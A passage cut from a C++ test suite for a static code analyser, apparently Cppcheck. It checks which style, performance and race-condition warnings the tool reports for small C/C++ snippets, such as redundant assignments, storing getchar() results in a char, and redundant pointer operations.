check(\"void f(int *p) {\\n\"\n \" *p = 1;\\n\"\n \" if (condition) return;\\n\"\n \" *p = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_array() {\n check(\"void f() {\\n\"\n \" int arr[10];\\n\"\n \" int i = 0;\\n\"\n \" arr[i] = 1;\\n\"\n \" i += 2;\\n\"\n \" arr[i] = 3;\\n\"\n \" dostuff(arr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_switch_break() {\n // #10058\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:7:13]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantInitialization() {\n setMultiline();\n\n check(\"void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" err = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: style: Redundant initialization for 'err'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:13]: note: err is initialized\\n\"\n \"[test.cpp:3:9]: note: err is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" struct S s = {1,2,3};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Redundant initialization for 's'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:16]: note: s is initialized\\n\"\n \"[test.cpp:3:7]: note: s is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" p = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n // \"trivial\" initialization => do not warn\n check(\"void f() {\\n\"\n \" struct S s = {0};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N { enum E {e0,e1}; }\\n\"\n \"void f() {\\n\"\n \" N::E e = N::e0;\\n\" // #9261\n \" e = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10143\n \" std::shared_ptr i = g();\\n\"\n \" h();\\n\"\n \" i = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #9815\n \" int i = g();\\n\"\n \" i = std::distance(v.begin(), std::find_if(v.begin(), v.end(), [=](int j) { return i == j; }));\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // cppcheck-suppress unusedPrivateFunction\n void redundantMemWrite() {\n // Simple tests\n // cppcheck-suppress unreachableCode - remove when code is enabled again\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" sprintf(a, \\\"foo\\\");\\n\"\n \" memmove(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f(char *filename) {\\n\"\n \" char *p = strrchr(filename,'.');\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \" dostuff(filename);\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Writing to different parts of a buffer\n check(\"void f(void* a) {\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a+5, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Use variable as second argument\n check(\"void f(void* a, void* b) {\\n\"\n \" memset(a, 0, 5);\\n\"\n \" memcpy(b, a, 5);\\n\"\n \" memset(a, 1, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strcat is special\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strcat(a, bar);\\n\" // Not redundant\n \" strcpy(a, x);\\n\" // Redundant\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n // Tests with function call between copy\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" snprintf(a, foo, bar);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void* a;\\n\"\n \"void f() {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", \"\", errout_str());\n\n check(\"void bar(void* a) {}\\n\"\n \"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar(a);\\n\" // Passed as argument\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" if(x)\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4455 - initialization of local buffer\n check(\"void f(void) {\"\n \" char buf[10];\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char buf[10] = {0};\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'buf' is being written before its old content has been used.\\n\", errout_str());\n\n // #5689 - use return value of strcpy\n check(\"int f(void* a) {\\n\"\n \" int i = atoi(strcpy(a, foo));\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7175 - read+write\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\" // <- read + write\n \" strcpy(buf, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\"\n \" strcpy(buf, x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantAssignmentSameValue() {\n check(\"int main() {\\n\" // #11642\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:5]: (style) Variable 'a' is assigned an expression that holds the same value. [redundantAssignment]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b + 1;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b = 5;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:11]: (style) Redundant initialization for 'b'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12874\n \" int j = i + 1;\\n\"\n \" if (i > 5)\\n\"\n \" j = i;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12894\n \" std::string a;\\n\"\n \" void f(const S& s);\\n\"\n \" void g(const S& s);\\n\"\n \"};\\n\"\n \"void S::f(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" this->operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\"\n \"void S::g(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varFuncNullUB() { // #4482\n check(\"void a(...);\\n\"\n \"void b() { a(NULL); }\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability) Passing NULL after the last typed argument to a variadic function leads to undefined behaviour. [varFuncNullUB]\\n\", errout_str());\n\n check(\"void a(char *p, ...);\\n\"\n \"void b() { a(NULL, 2); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCastIntToCharAndBack() { // #160\n\n // check getchar\n check(\"void f() {\\n\"\n \"unsigned char c; c = getchar();\\n\"\n \" while( c != EOF)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \"unsigned char c = getchar();\\n\"\n \" while( EOF != c)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c; c = getchar();\\n\"\n \" while( EOF != c )\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c;\\n\"\n \" while( EOF != ( c = getchar() ) )\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( i != EOF)\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( EOF != i )\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check getc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check fgetc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"signed char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // cin.get()\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (EOF != ch) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (ch != EOF) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( EOF != i ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( i != EOF ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCommaSeparatedReturn() {\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return c::b;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4943 take care of C++11 initializer lists\n check(\"std::vector Bar() {\\n\"\n \" return\\n\"\n \" {\\n\"\n \" { \\\"1\\\" },\\n\"\n \" { \\\"2\\\" },\\n\"\n \" { \\\"3\\\" }\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPassByReference() {\n // #8570 passByValue when std::move is used\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a(std::move(a)) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a{std::move(a)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{std::move(a2)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{a2} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2(a2) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::map m;\\n\" // #10817\n \"void f(const decltype(m)::const_iterator i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int (*pf) (std::vector) = nullptr;\\n\" // #12118\n \"int f(std::vector v) {\\n\"\n \" return v.size();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" pf = f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:24]: (performance) Function parameter 'v' should be passed by const reference. However it seems that 'f' is a callback function. [passedByValueCallback]\\n\",\n errout_str());\n\n check(\"template struct A;\\n\" // #12621\n \"template\\n\"\n \"struct B { A a; };\\n\"\n \"template\\n\"\n \"struct A { B b; };\\n\"\n \"template\\n\"\n \"struct C : public virtual A, public virtual B {\\n\"\n \" A x;\\n\"\n \" B y;\\n\"\n \" C(A x_, B y_) : x(x_), y(y_) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"template \\n\" // #13537\n \" struct S {\\n\"\n \" T a[N];\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n Settings settingsUnix32 = settingsBuilder().platform(Platform::Type::Unix32).build();\n check(\"struct S {\\n\" // #13850\n \" int i0 : 32;\\n\"\n \" int i1 : 16;\\n\"\n \" unsigned short u16;\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\", true, true, true, false, &settingsUnix32);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonFunctionIsAlwaysTrueOrFalse() {\n // positive test\n check(\"bool f(int x){\\n\"\n \" return isless(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isless(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreaterequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreaterequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n // no warning should be reported for\n check(\"bool f(int x, int y){\\n\"\n \" return isgreaterequal(x,y) && islessequal(x,y) && islessgreater(x,y) && isgreater(x,y) && isless(x,y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void integerOverflow() { // 5895\n // no signed integer overflow should happen\n check(\"void f(unsigned long long ull) {\\n\"\n \" if (ull == 0x89504e470d0a1a0a || ull == 0x8a4d4e470d0a1a0a) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantPointerOp() {\n check(\"int *f(int *x) {\\n\"\n \" return &*x;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'x' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int *f(int *y) {\\n\"\n \" return &(*y);\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'y' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #10991\n \" int value = 4;\\n\"\n \" int result1 = *(&value);\\n\"\n \" int result2 = *&value;\\n\"\n \" return result1 + result2;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\"\n \"[test.cpp:4:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int& a, int b) {\\n\"\n \" *(&a) = b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Redundant pointer operation on 'a' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int**& p) {}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define\tRESTORE(ORIG, COPY) { *ORIG = *COPY; }\\n\"\n \"void f(int* p, int i) {\\n\"\n \" RESTORE(p, &i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no warning for bitwise AND\n check(\"void f(const int *b) {\\n\"\n \" int x = 0x20 & *b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // No message for double pointers to structs\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // another double pointer to struct - with an array\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // double pointer to array\n check(\"void f(char **ptr) {\\n\"\n \" int *x = &(*ptr)[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\", errout_str());\n\n // function calls\n check(\"void f(Mutex *mut) {\\n\"\n \" pthread_mutex_lock(&*mut);\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Redundant pointer operation on 'mut' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // make sure we got the AST match for \"(\" right\n check(\"void f(char *ptr) {\\n\"\n \" if (&*ptr == NULL)\\n\"\n \" return;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Redundant pointer operation on 'ptr' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // no warning for macros\n checkP(\"#define MUTEX_LOCK(m) pthread_mutex_lock(&(m))\\n\"\n \"void f(struct mutex *mut) {\\n\"\n \" MUTEX_LOCK(*mut);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define B(op) bar(op)\\n\"\n \"#define C(orf) B(&orf)\\n\"\n \"void foo(const int * pkey) {\\n\"\n \" C(*pkey);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test_isSameExpression() { // see #5738\n check(\"bool isInUnoIncludeFile(StringRef name) {\"\n \" return name.startswith(SRCDIR \\\"/com/\\\") || name.startswith(SRCDIR \\\"/uno/\\\");\\n\"\n \"};\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void raceAfterInterlockedDecrement() {\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" whatever();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (!counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 < counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" 